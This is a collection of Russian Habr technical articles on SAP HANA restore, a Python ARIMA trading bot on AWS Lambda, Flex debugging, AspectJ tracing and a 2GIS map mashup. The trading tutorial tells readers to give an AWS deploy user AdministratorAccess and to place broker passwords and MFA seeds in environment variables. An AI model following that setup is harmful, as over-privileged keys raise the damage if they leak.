1. Кликаем по нашему узлу **SYSTEMDB@DEV** и выбираем команду меню **Backup and Recovery — Recover Tenant Database**.
2. Выбираем tenant-а, жмем **Next**.
3. Выбираем вариант **Recover the database to its most recent state** (восстановить базу на новейшее состояние). Также есть вариант и восстановления на выбранный момент времени.
4. Если вы выполняли резервное копирование на Backint (то бишь через Backint на репозиторий) – выбираете опцию поиска бэкапов в соответствующем каталоге: **Search for the backup catalog in Backint only**. Если на файловую систему — то **Search for the backup catalog in the file system only**.
*Внимание!* При восстановлении для DB будет выполнен shutdown!
5. Из списка бэкапов выбираем нужный. Если надо удостовериться в его наличии — нажимаем **Check Availability**.
6. Затем (после того, как рядом с нашим бэкапом после загорелся зеленый индикатор availability check) переходим на шаг **Locate Log Backups** и снова жмем **Next**.
7. Далее на шаге **Other Settings** указываем, что надо брать логи из того места, куда мы их сохранили через Backint. (Вообще все настройки на этом шаге нужно сверять с SAP Basis-админом.)
8. Жмем **Next**, просматриваем еще раз описание всех настроек и кликаем **Finish**.
Процесс пошёл! Когда он завершится, вы увидите примерно такой диалог:
Итак, резервное копирование и восстановление завершились. Свою незаметную на первый взгляд, но важную роль в этих процессах сыграл плагин **Veeam Plug-in for SAP HANA** (кстати, он сертифицирован SAP). Продолжение следует!
Дополнительные ссылки
=====================
* [Руководство пользователя (на англ.языке)](https://helpcenter.veeam.com/docs/backup/plugins/sap_hana_plugin.html?ver=95u4)
* [Страница решения (на русском языке)](https://www.veeam.com/ru/backup-sap-hana-plugin.html)
* [Запись вебинара (на русском языке)](https://www.veeam.com/ru/videos/webinar-agents-plugins-for-corporate-applications-ru-15047.html) | https://habr.com/ru/post/461951/ | null | ru | null |
# Как с помощью Python создать полностью автоматизированную трейдинговую систему на базе ИИ
Можно ли с помощью ИИ автоматизировать набор правил, по которым действуют на бирже профессиональные трейдеры? Команда [VK Cloud Solutions](https://mcs.mail.ru/) перевела статью о том, как это удалось реализовать и что вышло из такой затеи.
### Как появилась идея автоматизации
Пару недель назад я болтал с приятелем. Он рассказывал мне, что пытался устроить детокс от брокерского приложения на смартфоне. Я забеспокоился, не разорился ли он, и уточнил значение слова «детокс» в этом контексте.
Он ответил, что занимается трейдингом. «Если какая-то ценная бумага растет на протяжении часа и я уже заработал более 1%, я ее продаю, — объяснил он. — Это одно из моих персональных правил». Не обращая внимания на псевдонаучный аспект этих правил, я понял, что он имел в виду под детоксом. Чтобы соблюдать такие правила, нужно постоянно заглядывать в смартфон.
И я задумался, можно ли автоматизировать набор правил, по которым действовал мой приятель? Чтобы система занималась трейдингом вместо меня? Вы наверняка уже догадались, что ответ на этот вопрос — «да». Что ж, давайте порассуждаем.
Но для начала: время — деньги, и я не хочу никого разводить на деньги. Вот что мы сделаем:
1. **Возьмем детализированные данные о ценах на акции в реальном времени, в идеале с интервалом в одну минуту.** Чем их больше, тем лучше. Используем для этого Yahoo! Finance, подробнее объясню ниже.
2. **Вместо персонального набора правил добавим в систему ИИ.** Раскрою все карты. Я, мягко говоря, не эксперт по анализу временных рядов. Сейчас есть немало руководств по обучению нейронных сетей трейдингу, и мне совершенно не хочется усложнять игрушечную систему вроде этой. Так что давайте стремиться к простоте: пока нам хватит самой базовой модели ARIMA.
3. **У нас есть данные и прогноз, который мы получаем от алгоритма.** С его помощью нужно решать, что делать с акциями: покупать, продавать или сохранять. А еще нужно подключиться к брокеру, чтобы выполнять нужные действия. Мы будем использовать RobinHood и Alpaca.
4. **Вот, собственно, и все — система готова**. Осталось только где-то деплоить и отслеживать ее работу. Я решил, что система будет отправлять сообщение в телеграм-чат при выполнении какого-либо действия.
Что нам понадобится?
* [Python](https://www.python.org/) 3.6 с несколькими библиотеками;
* учетная запись в облаке с правами администратора для хранения и деплоймента;
* Node.js, чтобы установить Serverless Framework для деплоймента;
* аккаунт в телеграме для мониторинга.
Весь написанный код — [здесь](https://github.com/ruromgar/python-ai-trading-system). Без лишних церемоний перейдем к первой части — сбору данных.
### Сбор данных
Собрать данные — дело непростое. Еще несколько лет назад были доступны официальный Yahoo! Finance API и его альтернатива Google Finance. К сожалению, оба сервиса закрылись несколько лет назад. Но остались альтернативы. Я сформулировал следующие требования:
* **Бесплатно.** Для рабочей системы я бы, конечно, поменял это требование на «недорого», но для игрушечной системы данные мне нужны бесплатно.
* **Высокая скорость.** Желательно вообще без ограничений, но производительности свыше 500 запросов в минуту более чем достаточно.
* **Данные в реальном времени.** Некоторые API выдают данные с небольшой задержкой, скажем, в 15 минут. Мне нужны цены на акции, максимально приближенные к текущим.
* **Простота использования.** Это проверка идеи, так что мне нужно самое простое решение.
С учетом своих требований я решил присмотретьсяк **yfinance** — неофициальной альтернативе старого доброго Yahoo Finance API. Для рабочей системы я бы выбрал Alpha Vantage API, опираясь на [замечательный список Патрика Коллинза](https://medium.com/@patrick.collins_58673/stock-api-landscape-5c6e054ee631). Но пока давайте не усложнять.
Ран Арусси разработал библиотеку yfinance для доступа к данным Yahoo! Finance, когда официальный API перестал работать. Приведу цитату с GitHub:
> «С тех пор как [Yahoo! Finance](https://finance.yahoo.com/) закрыли свой API исторических данных, многие программы, которые использовали этот интерфейс, прекратили работу. yfinance призвана решить проблему — это надежное решение на Python для загрузки исторических данных по рынку из Yahoo! Finance».
>
>
Мило, мне подходит. Как это работает? Для начала библиотеку нужно установить:
```
$ pip install yfinance --user
```
А потом можно получить доступ к данным через объект `Ticker`:
```
import yfinance as yf
google = yf.Ticker(“GOOG”)
```
Это достаточно быстрый метод (в среднем исполняется чуть дольше 0,005 секунды), который возвращает МАССУ информации об акциях. Например, google.info содержит 123 поля, в том числе:
```
52WeekChange: 0.3531152
SandP52WeekChange: 0.17859101
address1: 1600 Amphitheatre Parkway
algorithm: None
annualHoldingsTurnover: None
annualReportExpenseRatio: None
ask: 1815
askSize: 1100
…
twoHundredDayAverage: 1553.0764
volume: 1320946
volume24Hr: None
volumeAllCurrencies: None
website: http://www.abc.xyz
yield: None
ytdReturn: None
zip: 94043
```
Еще больше данных можно получить с помощью методов `dividends`, `splits`, `balance_sheet`, `earnings` и других. Большинство из них возвращают данные в виде объекта pandas DataFrame, так что придется немного повозиться, чтобы получить все, что нам нужно.
Пока мне требуется информация об изменении цен на акции с течением времени, лучше всего для этого подходит метод `history`. Мы можем выбрать период или даты интервала, а также частоту получения данных до одной минуты.
Обратите внимание, что информация с разбивкой по времени внутри дня доступна, если вы указали период менее 60 дней, и что за один запрос можно получить данные с детализацией до минуты только за семь дней. Транспонированные данные последней записи с интервалом в одну минуту:
```
df = google.history(period='1d', interval="1m")print(df.head())
```
DataFrame — динамика цен на акции GoogleВидно, как они индексируются по дате и времени. При этом у каждой записи семь характеристик: четыре значения цены на акцию за эту минуту (открытие, максимальная, минимальная, закрытие) а также объем, дивиденды и сплит акций. Я буду использовать только характеристику «минимальная». Соберем необходимые данные:
```
df = google.history(period='1d', interval="1m")
df = df[['Low']]
df.head()
```
Поскольку мы используем только данные за последний день, давайте проиндексируем DataFrame, чтобы удалить дату и часовой пояс, оставив только время.
```
df['date'] = pd.to_datetime(df.index).time
df.set_index('date', inplace=True)
df.head()
```
Хорошо выглядит! Мы уже знаем, как найти последние данные в yfinance. Чуть позже передадим их в наш алгоритм. Но для начала нужно с ним определиться, так что переходим к следующему этапу.
### Добавляем ИИ
Не пытайтесь повторять это в домашних условиях. Я подобрал ОЧЕНЬ простую модель ARIMA для прогнозирования следующей цены на акцию, поэтому относитесь к ней как к учебной. Чтобы использовать эти наработки для настоящего трейдинга, советую поискать модель получше и помощнее. Но не теряйте бдительности: если бы это было просто, такие модели были бы у всех.
Для начала давайте разделим DataFrame на данные для обучения и для тестирования, чтобы можно было использовать тестовый набор для проверки результатов учебной модели. В качестве тестового набора я собираюсь использовать последние 10% данных.
```
X = df.index.values
y = df['Low'].values
# The split point is the 10% of the dataframe length
offset = int(0.10*len(df))
X_train = X[:-offset]
y_train = y[:-offset]
X_test = X[-offset:]
y_test = y[-offset:]
```
Построим график:
```
plt.plot(range(0,len(y_train)),y_train, label='Train')
plt.plot(range(len(y_train),len(y)),y_test,label='Test')
plt.legend()
plt.show()
```
Теперь добавим в модель данные для обучения и получим прогноз. Обратите внимание, что здесь гиперпараметры модели фиксированы, а в реальной жизни для получения оптимальных параметров нужно использовать кросс-валидацию. К вашим услугам замечательное руководство о том, [как подбирать гиперпараметры ARIMA по сетке на Python](https://machinelearningmastery.com/grid-search-arima-hyperparameters-with-python/). Я использую конфигурацию 5, 0, 1 и получаю прогноз на момент, который наступает сразу после данных для обучения.
```
from statsmodels.tsa.arima.model import ARIMAmodel = ARIMA(y_train, order=(5,0,1)).fit()
forecast = model.forecast(steps=1)[0]
```
Давайте посмотрим, хорошо ли сработала наша учебная модель:
```
print(f'Real data for time 0: {y_train[len(y_train)-1]}')
print(f'Real data for time 1: {y_test[0]}')
print(f'Pred data for time 1: {forecast}')
—
Real data for time 0: 1776.3199462890625
Real data for time 1: 1776.4000244140625
Pred data for time 1: 1776,392609828666
```
Что ж, неплохо, работать можно. С этой информацией получится определить набор правил, основанных на любых наших предпочтениях: не продавать, если акции растут в цене, или продавать, если цена падает. Но не будем формулировать правила — вдруг те, кто потеряют на них все деньги, подадут на меня в суд. Вам придется разработать собственный набор правил без моих подсказок :) А пока я перехожу ко второму этапу — подключению к брокеру.
### Подключение к брокеру
Как вы, наверное, догадались, многое зависит от выбранного брокера. Я расскажу о подключении к RobinHood и Alpaca. Почему я выбрал именно их?
* Есть публичный API.
* Они не берут комиссию за трейдинговые операции.
В зависимости от типа учетной записи действуют те или иные ограничения. Например, у RobinHood можно совершать всего три трейдинговые операции в пять дней, если остаток на счете менее 25 000 долларов. У Alpaca ограничения не такие жесткие, но все же установлен лимит в 200 запросов в минуту на один ключ API.
#### RobinHood
Есть несколько библиотек, поддерживающих RobinHood API, но ни одна из них не является официальной. Библиотека [Sanko](https://github.com/sanko/Robinhood) была самой большой, с 1,5 тысяч звезд на GitHub, но ее закрыли. Библиотека [LichAmnesia](https://github.com/LichAmnesia/Robinhood) приняла эстафету, но пока что набрала только 99 звезд. Я собираюсь использовать [robin\_stocks](https://github.com/jmfernandes/robin_stocks), у которой на момент написания статьи чуть более 670 звезд. Давайте ее установим:
```
$ pip install robin_stocks
```
Для большинства действий нужен логин, так что для начала войдем в систему. RobinHood требует многофакторную аутентификацию, так что необходимо ее настроить. Войдите в свою учетную запись, включите двухфакторную аутентификацию и выберите «other» в ответе на вопрос «Какое приложение вы собираетесь использовать?». Вы получите буквенно-цифровой код, который мы применим:
```
import pyotp
import robin_stocks as robinhood
RH_USER_EMAIL = <<>>
RH\_PASSWORD = <<>>
RH\_MFA\_CODE = <<>>
timed\_otp = pyotp.TOTP(RH\_MFA\_CODE).now()
login = rh.login(RH\_USER\_EMAIL, RH\_PASSWORD, mfa\_code=totp)
```
Купить или продать — дело нехитрое:
```
# Buying 5 shares of Google
rh.order_buy_market('GOOG', 5)
# Selling 5 shares of Google
rh.order_sell_market('GOOG', 5)
```
Примеры и варианты использования для продвинутых пользователей можно посмотреть в [документации](http://www.robin-stocks.com/en/latest/intro.html).
#### Alpaca
Для Alpaca мы используем [библиотеку](https://github.com/alpacahq/alpaca-trade-api-python/) `alpaca-trade-api`, у которой на GitHub более 700 звезд. Устанавливаем:
```
$ pip install alpaca-trade-api
```
Войдите в учетную запись и получите API key ID и секретный ключ, они нужны для входа в систему:
```
import alpaca_trade_api as alpaca
ALPACA_KEY_ID = <<>>
ALPACA\_SECRET\_KEY = <<>>
# Change to https://api.alpaca.markets for live
BASE\_URL = 'https://paper-api.alpaca.markets'
api = alpaca.REST(
ALPACA\_KEY\_ID, ALPACA\_SECRET\_KEY, base\_url=BASE\_URL)
```
Отправлять поручения здесь несколько сложнее, чем в RobinHood:
```
# Buying 5 shares of Google
api.submit_order(
symbol='GOOG',
qty='5',
side='buy',
type='market',
time_in_force='day'
)
# Selling 5 shares of Google
api.submit_order(
symbol='GOOG',
qty='5',
side='sell',
type='market',
time_in_force='day'
)
```
Готово! Напомню, что оставлять свои учетные данные в виде Plain Text — чрезвычайно плохая идея. Но не переживайте, на следующем этапе мы перейдем к переменным среды, это намного безопаснее. Теперь давайте развернем модель в облаке и настроим мониторинг.
### Деплоймент и мониторинг
Мы собираемся задеплоить нашу систему в AWS Lambda. Для работы это не лучший вариант, поскольку в Lambda нет хранилища, а обученную модель пришлось бы где-то хранить, например в S3.
Но пока обойдемся и этим — запланируем ежедневный запуск Lambda и обучение модели на данных за текущий день. Для мониторинга настроим бот в Telegram, который отправляет сообщение с действием и его результатом. AWS Lambda можно пользоваться бесплатно, если не превышать заданные лимиты; но если вы хотите отправлять очень много сообщений, помните о [квотах](https://aws.amazon.com/lambda/pricing/).
Для начала создадим бота. Я опирался на [официальную инструкцию](https://core.telegram.org/bots#6-botfather) из телеграма:
* Найдите в телеграме пользователя @BotFather.
* Используйте команду `\newbot`, выберите название и имя пользователя для бота.
* Получите и сохраните в надежном месте токен, он вам скоро понадобится.
Следующий этап — деплоймент. Есть несколько способов деплоймента в Lambda. Я собираюсь использовать фреймворк [serverless](https://serverless.com/), так что давайте его установим и создадим [шаблон](https://www.serverless.com/framework/docs/providers/aws/examples/hello-world/python/).
```
$ npm install serverless --global
$ serverless create --template aws-python3 --path ai_trading_system
```
Мы создали папку `scheduled_tg_bot` с тремя файлами: `.gitignore`, `serverless.yml`, и `handler.py`. `Serverless.yml` определяет деплоймент: что, когда и как будет запущено. А файл `handler.py` содержит запускаемый код.
```
import telegram
import sys
import os
CHAT_ID = XXXXXXXX
TOKEN = os.environ['TELEGRAM_TOKEN']
# The global variables should follow the structure:
# VARIABLE = os.environ['VARIABLE']
# for instance:
# RH_USER_EMAIL = os.environ['RH_USER_EMAIL]
def do_everything():
# The previous code to get the data, train the model
# and send the order to the broker goes here.
return 'The action performed'
def send_message(event, context):
bot = telegram.Bot(token=TOKEN)
action_performed = do_everything() bot.sendMessage(chat_id=CHAT_ID, text=action_performed)
```
Нужно поменять `CHAT_ID` на ID группы, канала или диалога, с которыми бот должен взаимодействовать. [Здесь](https://stackoverflow.com/questions/36099709/how-get-right-telegram-channel-id/45577616) можно узнать, как получить ID канала, а [здесь](https://stackoverflow.com/questions/32423837/telegram-bot-how-to-get-a-group-chat-id) — ID группы.
Теперь давайте определим, как запускать код. Откройте `serverless.yml` и напишите:
```
org: your-organization-name
app: your-app-name
service: ai_trading_system
frameworkVersion: “>=1.2.0 <2.0.0”
provider:
name: aws
runtime: python3.6
environment:
TELEGRAM_TOKEN: ${env:TELEGRAM_TOKEN}
# If using RobinHood
RH_USER_EMAIL: ${env:RH_USER_EMAIL}
RH_PASSWORD: ${env:RH_PASSWORD}
RH_MFA_CODE: ${env:RH_MFA_CODE}
# If using Alpaca
ALPACA_KEY_ID: ${env:ALPACA_KEY_ID}
ALPACA_SECRET_KEY: ${env:ALPACA_SECRET_KEY}
functions:
cron:
handler: handler.send_message
events:
# Invoke Lambda function at 21:00 UTC every day
- schedule: cron(00 21 * * ? *)
```
Этот код сообщает AWS, какая среда выполнения нам нужна, и берет токен телеграма из нашего собственного окружения, чтобы нам не пришлось его развертывать. После этого мы определяем Сron для ежедневного запуска функции в 21:00.
Единственное, что осталось сделать перед деплойментом, это получить учетные данные AWS и установить их как переменные среды вместе с токеном и остальными переменными как переменные среды. Получить учетные данные достаточно просто.
Из консоли AWS:
* перейдите в *My Security Credentials* — *Users* — *Add user;*
* выберите имя пользователя и *Programmatic access;*
* на следующей странице выберите *Attach existing policies directly* — *AdministratorAccess;*
* скопируйте и сохраните *Access Key ID* и *Secret Access Key*;
Вот и все. Теперь давайте экспортируем учетные данные AWS и токен телеграма. Откройте терминал и напишите:
```
$ export AWS_ACCESS_KEY_ID=[your key goes here]
$ export AWS_SECRET_ACCESS_KEY=[your key goes here]
$ export TELEGRAM_TOKEN=[your token goes here]#
If using RobinHood
$ export RH_USER_EMAIL=[your mail goes here]
$ export RH_PASSWORD=[your password goes here]
$ export RH_MFA_CODE=[your mfa code goes here]
# If using Alpaca
$ export ALPACA_KEY_ID=[your key goes here]
$ export ALPACA_SECRET_KEY=[your key goes here]
```
Установите необходимые пакеты локально и выполните деплоймент в AWS:
```
$ pip3 install -r requirements.txt -t . --system
$ serverless deploy
```
Готово! Бот будет торговать за нас каждый день в 21:00 и отправлять нам сообщения о совершенном действии. Для апробации концепции неплохо. Пожалуй, можно порадовать приятеля: теперь он может расслабиться и заниматься трейдингом, не заглядывая в смартфон сто раз в день :)
Напомню, что у всех ресурсов, которые мы использовали в этом руководстве, есть собственная документация. Вы можете углубиться в любом направлении, которое вас заинтересует, ведь мы опробовали всего-навсего игрушечную систему! И все-таки я думаю, что эта игрушечная система — хорошее начало для многофункционального сложного продукта. Удачи!
> Команда VK Cloud Solutions развивает [собственные ML-решения](https://mcs.mail.ru/machine-learning/). Будем признательны, если вы их протестируете и дадите обратную связь. Для тестирования пользователям при регистрации начисляем 3000 бонусных рублей.
>
>
**Читать по теме:**
* [Как дата-сайентистам эффективно сотрудничать с дата-инженерами](https://habr.com/ru/company/vk/blog/659139/)
* [Четыре хитрости в работе с пайплайнами данных, о которых знают не все](https://habr.com/ru/company/vk/blog/659389/)
* [Настоящее и будущее дата-инжиниринга](https://habr.com/ru/company/vk/blog/661777/) | https://habr.com/ru/post/669462/ | null | ru | null |
# Знакoмство с flex sdk
Все мы во время разработок сталкивались с проблемой тестирования или дебагинга (то есть отлова ошибок). Сегодня я расскажу как это можно делать без специальных IDE, используя только инструменты непосредственно входящие в пакет flex sdk.
Итак для начала мы наберем текст нашей программы, который будет лежать в файле HelloWorld.as:
`package
{
import flash.display.Sprite;
import flash.text.TextField;
import flash.display.Stage;
import flash.events.MouseEvent;
public class HelloWorld extends Sprite
{
public function HelloWorld()
{
trace ('my mess');
var _text:TextField = new TextField();
_text.text = 'Hello World';
addChild(_text);
stage.addEventListener(MouseEvent.MOUSE_DOWN, myTrace);
}
private function myTrace(event:MouseEvent):void
{
trace('down');
}
}
}`
Как мы видем здесь есть вывод одного сообщения вначале запуска программы и еще вывод по нажатию на stage.
Теперь скомпилируем нашу программу в терминале:
`mxmlc HelloWorld.as -debug=true`
Обратите внимание на флаг -debug=true, который сообщает компилятору что не надо игнорировать команды trace, а как же нужно выводить ошибки.
После этого надо запустить непосредственно flex debuger командой:
`fdb`
потом сообщим какой файл надо тестировать:
`file HelloWorld.swf`
теперь запустим выполнение проверки командой:
`run`
по выполнении этой команды должен открыться флеш плеер по умолчанию, проверьте чтобы это была debug версия плеера. И наконец подключимся к нашема плееру помендой:
`continue`
после этого в плеере появится результат выполнения программы, а в терминале появится вывод информации.
А для того чтобы тестировать приложения в Интернете, достаточно в file передать url-адрес.
Вот собственно и все. Подписывайтесь на мой канал на [youtubе](http://www.youtube.com/playlist?list=PLB54E8200E9ADBBE9). | https://habr.com/ru/post/137117/ | null | ru | null |
# Применение AOP для отладки чужой библиотеки
На Хабре уже [поднималась](http://habrahabr.ru/search/?q=aop) тема [аспектно-ориентированного программирования](http://ru.wikipedia.org/wiki/%D0%90%D1%81%D0%BF%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) (Aspect-oriented programming, AOP). Этой парадигме уже не так мало лет, но ее использование отнюдь не повсеместно. В комментариях регулярно обсуждается, а нужна ли она вообще или для каких целей всё же выгодно ее использовать.
В этой статье я хочу описать один из примеров применения — реальную ситуацию, где AOP меня выручило. Притом, я просто не знаю приемлемого способа решения без использования аспектов.
Приходилось ли вам когда-нибудь сталкиваться ситуацией, когда не работает связка вашего кода со сторонней библиотекой или фреймворком. И есть смутное подозрение, что ошибка где-то у вас, но без отладчика ее найти тяжело. А потом вдруг оказывается, что у библиотеки нет исходников, или по какой-то другой причине отладка не доступна…
Если вам интересно, что можно сделать в таких обстоятельствах, добро пожаловать под кат.
##### Проблема
Недавно при работе над своим open-source проектом, я столкнулся с похожей проблемой при отладке autocompletion в IDE на основе Eclipse DLTK (Dynamic Languages ToolKit).
Попробовал воспользоваться отладчиком(все исходники, благо, были), но к сожалению, ошибка, которую мне предстояло отловить спряталась в середине кода по работе с UI. И там такая особенность, что окошко автокомплита автоматически закрывается при потере фокуса, то есть любые брейкпоинты в том коде и пошаговая отладка были исключены.
Что можно в таких случаях сделать обычно? Можно воспользоваться трассировкой. Есть несколько общеизвестных способов, начиная от отладочного вывода, заканчивая полным профилированием. Перечень этих способов с кратким сравнением можно найти [тут](http://blog.zvikico.com/2007/11/five-ways-for-t.html). В этой статье упомянуто и аспектно-ориентированное программирование (я бы даже сказал, что там ему незаслуженно приписали один минус).
Так вот, простой отладочный вывод требовал бы перекомпиляции не только DLTK, но и всего JFace; прокси не подходили из-за наличия приватных полей и методов; а полная профилировка такой тяжелой платформы как эклипс — нерадостная перспектива.
Вот так я и пришел к необходимости использовать AOP.
##### Решение
Тут всё оказалось просто — я создал один-единственный аспект, в котором описано, вызовы каких методов перехватывать, и какую информацию выводить в консоль.
Я не хочу описывать инструкцию по установке и основы синтаксиса. Для AspectJ и PostSharp это введение уже [есть](http://habrahabr.ru/blogs/programming/114649/) на Хабре. В моём же случае, использование AOP в OSGi среде — тема для отдельной статьи в более тематический блог.
Отмечу лишь, что подключить аспект удалось без какого либо вмешательства в исходный код основных модулей проект или библиотек платформы. Не потребовалась даже их пересборка(как утверждала статья по ссылке выше), так как использовалось динамическое вплетение (runtime weaving).
Напоследок, хочу еще привести полезный пример на AspectJ, который по сути был моим шаблоном для описания правил перехвата.
Трассировка всех вызовов внутри вызова метода Foo.bar:
```
public aspect TraceAspect {
before() : cflowbelow(execution(void Foo.bar(..))) &&
execution(* *.*(..)) && !within(TraceAspect){
try {
System.out.println(thisJoinPoint.getSourceLocation());
} catch (Exception e) {
}
}
}
```
Отсечь слишком низкоуровневые вызовы можно (и нужно) с помощью отрицания cflowbelow, но это уже должно делаться отдельно для каждого конкретного случая.
Возможности по фильтровке необходимых вызовов у AOP очень [впечатляющие](http://www.eclipse.org/aspectj/doc/next/progguide/semantics-pointcuts.html). Единственное, что меня смущает в описанном выше — это необходимость перезапускать приложение для введение в действие дополнительных хуков.
##### Выводы
Не стоит бояться AOP. Впрочем, тулить его всюду без необходимости тоже не стоит. Это очень мощный инструмент со своей областью применения. Его использование в контексте, описанном в статье, возможно, кажется похожим на забивание гвоздя микроскопом, но в данном случае это было лучше, чем забивать его руками или закручивать отверткой.
Но сейчас я даже подумываю о том, как бы инкапсулировать всю эту мощь в небольшую библиотечку для неинтерактивной отладки.
Так или иначе, описанный в статье способ помог мне локализовать проблему и, я надеюсь, может в будущем пригодиться и вам. | https://habr.com/ru/post/138755/ | null | ru | null |
# Простая публикация геоданных на собственной карте на базе 2ГИС
Недавно передо мной встала интересная задача — отображать на сайте карту, с различными объектами, причем этих объектов могут быть десятки и сотни, а управлять ими должен уметь любой менеджер ниже среднего звена.
Более формально задача сводилась к тому, чтобы дать возможность пользователям задавать некий список гео-объектов, дать им возможность легко и быстро этими объектами управлять и автоматически отображать эти объекты на некоей карте.
Для реализации задумки была выбрана связка Google Docs и API картографического сервиса 2ГИС. Решение получилось действительно простым, в духе знаменитых «30 строк» :)
##### Шаг 1. Заводим таблицу для данных.
Открываем Google Docs и создаем таблицу. В моей таблице было достаточно много ненужных мне, но очень нужных для прочих служб полей, поэтому я пойду на небольшую хитрость и для тестирования заведу отдельную.
Вот ссылка на нее: [docs.google.com/spreadsheet/ccc?key=0AvdXWIJtCGnndG0tODY5MzRsVFhnbkJseFk0aWJkaUE&usp=sharing](https://docs.google.com/spreadsheet/ccc?key=0AvdXWIJtCGnndG0tODY5MzRsVFhnbkJseFk0aWJkaUE&usp=sharing)
В качестве тестовых данных я взял адреса домов, относящихся к двум небольшим избирательным участкам в городе Костроме. Номер участка, улица, номер дома и число квартир.
Использование в качестве источника данных Google Drive снимает множество проблем с совместной работой специалистов разной степени подготовки и с оперативным обновлением данных.
Теперь таблицу нужно опубликовать. Для этого идем в меню «Файл — Опубликовать в интернете». В появившемся окне выбираем «Начать публикацию», в нижней части — выбираем «CSV (значения, разделенные запятыми)» и получаем ссылку на наш лист таблицы в виде CSV.
Получается вот такая ссылка: [docs.google.com/spreadsheet/pub?key=0AvdXWIJtCGnndG0tODY5MzRsVFhnbkJseFk0aWJkaUE&single=true&gid=0&output=csv](https://docs.google.com/spreadsheet/pub?key=0AvdXWIJtCGnndG0tODY5MzRsVFhnbkJseFk0aWJkaUE&single=true&gid=0&output=csv)
##### Шаг 2. Готовим данные для карты.
Напишем несложный скрипт на PHP и назовем его getMapData.php:
```
define('CSV_DATA_URL', 'https://docs.google.com/spreadsheet/pub?key=0AvdXWIJtCGnndG0tODY5MzRsVFhnbkJseFk0aWJkaUE&single=true&gid=0&output=csv');
define('DEFAULT_CITY', 'Кострома');
$points = array();
$csvDataHandle = fopen(CSV_DATA_URL, 'r');
$i = 0;
while ( false !== ($line = fgetcsv($csvDataHandle, null, ',', '"')) ) {
// Пропускаем первую строку в файле
if ( !$i++ ) continue;
// Считываем номер участка
if ( !empty($line[0]) )
$zone = $line[0];
$points[] = array(
'zone' => $zone,
'address' => DEFAULT_CITY . ', ' . $line[1] . ', ' . $line[2],
'data' => $line[3],
);
}
```
Тут нужно заметить, что скорее всего при первом запуске вы получите ошибку «Warning: fopen(): Unable to find the wrapper „https“». Это связано с тем, что в дефолтной установке PHP не включен модуль OpenSSL. Найдите в файле php.ini строчку
`;extension=php_openssl.so` и раскомментируйте ее, убрав точку с запятой. Обычного этого достаточно.
Разумеется, массив $points нужно куда-то закешировать, чтобы не «дергать» Google Docs при каждой отрисовке карты.
Теперь перед нами стоит следующая задача. Нужно адреса геообъектов каким-то образом перевести в координаты на карте. Для этого у 2ГИС есть соответствующее API: [api.2gis.ru/doc/geo/search](http://api.2gis.ru/doc/geo/search/)
Вот простейший код для работы с API геокодера:
```
define('DGIS_API_KEY', 'XXXXXX'); // Ваш ключ
define('DGIS_API_URL', 'http://catalog.api.2gis.ru/geo/search?version=1.3&key=' . DGIS_API_KEY . '&q=%s');
function getGeoObjectInfo($address) {
$url = sprintf(DGIS_API_URL, $address);
$response = json_decode(file_get_contents($url));
if ( $response->response_code == 200 ) {
// Координаты центра геообъекта
$coords = $response->result[0]->centroid;
// Немного магии, чтобы привести их в нужный вид
$coords = explode(',', preg_replace('/^POINT\(([\S]+)([\s]+)([\S]+)\)$/', '$1,$3', $coords));
} else
$coords = array();
return $coords;
}
```
Ну и наконец пробежимся по массиву $points нашим «геокодером» и выведем результат в формате JSON:
```
foreach ( $points as &$address ) {
$address['coords'] = getGeoObjectInfo($address['address']);
sleep(1);
}
echo json_encode($points);
```
Обратите внимание на странную строчку sleep(1); в коде. Дело в том, что я пользуюсь тестовым доступом к API 2GIS, а при нем частота запросов ограничена одним в секунду. После получения полного доступа эту строчку нужно, разумеется, убрать.
Ну и не забываем опять же кэшировать полученные данные, чтобы не создавать 2ГИС лишнюю нагрузку, а себе — лишнее время работы скрипта.
##### Шаг 3. Показываем карту.
Тут я приведу полный код страницы. Ничего сложного в нем нет, тем более что у 2ГИС есть неплохая документация, ее можно прочитать по адресу [api.2gis.ru/doc/maps/info](http://api.2gis.ru/doc/maps/info/)
```
Тестовая карта с объектами
$(DG.load(function() {
// Создаем карту
var map = new DG.Map('DGMap');
map.setCenter(new DG.GeoPoint(40.95,57.76),12);
map.controls.add(new DG.Controls.Zoom());
// Получаем данные
$.get('getMapData.php', function (data) {
var objects = JSON.parse(data);
for ( i in objects ) {
var marker = new DG.Markers.MarkerWithBalloon({
geoPoint: new DG.GeoPoint(objects[i].coords[0], objects[i].coords[1]),
balloonOptions: {
headerContentHtml: '<b>Участок №'+objects[i].zone+'</b>',
contentHtml: 'Адрес:'+objects[i].address+'<br />Число квартир:'+objects[i].data
}
});
map.markers.add(marker);
}
// Получаем границы добавленных на карту маркеров:
var markersBounds = map.markers.getBounds();
// Устанавливаем карте новые границы по маркерам:
map.setBounds(markersBounds);
});
}));
```
На этом, собственно, всё. Мы получили простейшую, но вполне функциональную систему, которая показывает на карте объекты согласно списку, ведущемуся в Google Docs. Вот такой mash-up :)
##### P.S.
Ссылку на получившуюся карту не даю, потому что опасаюсь за сервер, который легко может лечь под хабраэффектом. Но картинку не могу не вставить:
##### P.P.S.
Собственно, ничто не мешает сделать такой же «трюк» с картами, например, от Яндекса. Получится даже красивее, за счет множества встроенных стилей и технологии кластеризации маркеров на карте. Изначально я пошел именно этим путем, но тесты показали, что геокодер 2ГИС все-таки гораздо точнее. Яндекс справляется с получением координат примерно от 95% адресов при условии их тщательной подготовки, 2ГИС — почти все 100%. | https://habr.com/ru/post/204228/ | null | ru | null |
# WPF, WinForms: рисуем Bitmap c >15000 FPS. Хардкорные трюки ч.1
Сразу уточнение: Bitmap 200x100 на компе с быстрой памятью и i7 3930K на 1366. Но, это честный System.Drawing.Bitmap.
Вводная: приложение типа осциллографа. Ссылка на готовый проект с фронтэндом в конце статьи.
Как же быстро рисовать его на экран? [WriteableBitmap](http://msdn.microsoft.com/en-us/library/system.windows.media.imaging.writeablebitmap.aspx) хорош, быстр, и он лучшее решение для WP, WinRT, WPF. Но занудного старпёра-кодера также волнует WinForms, .Net 2.0, Win2K (да-да, в некоторых гос.органах до сих пор ~~теплый ламповый~~ Win2K).
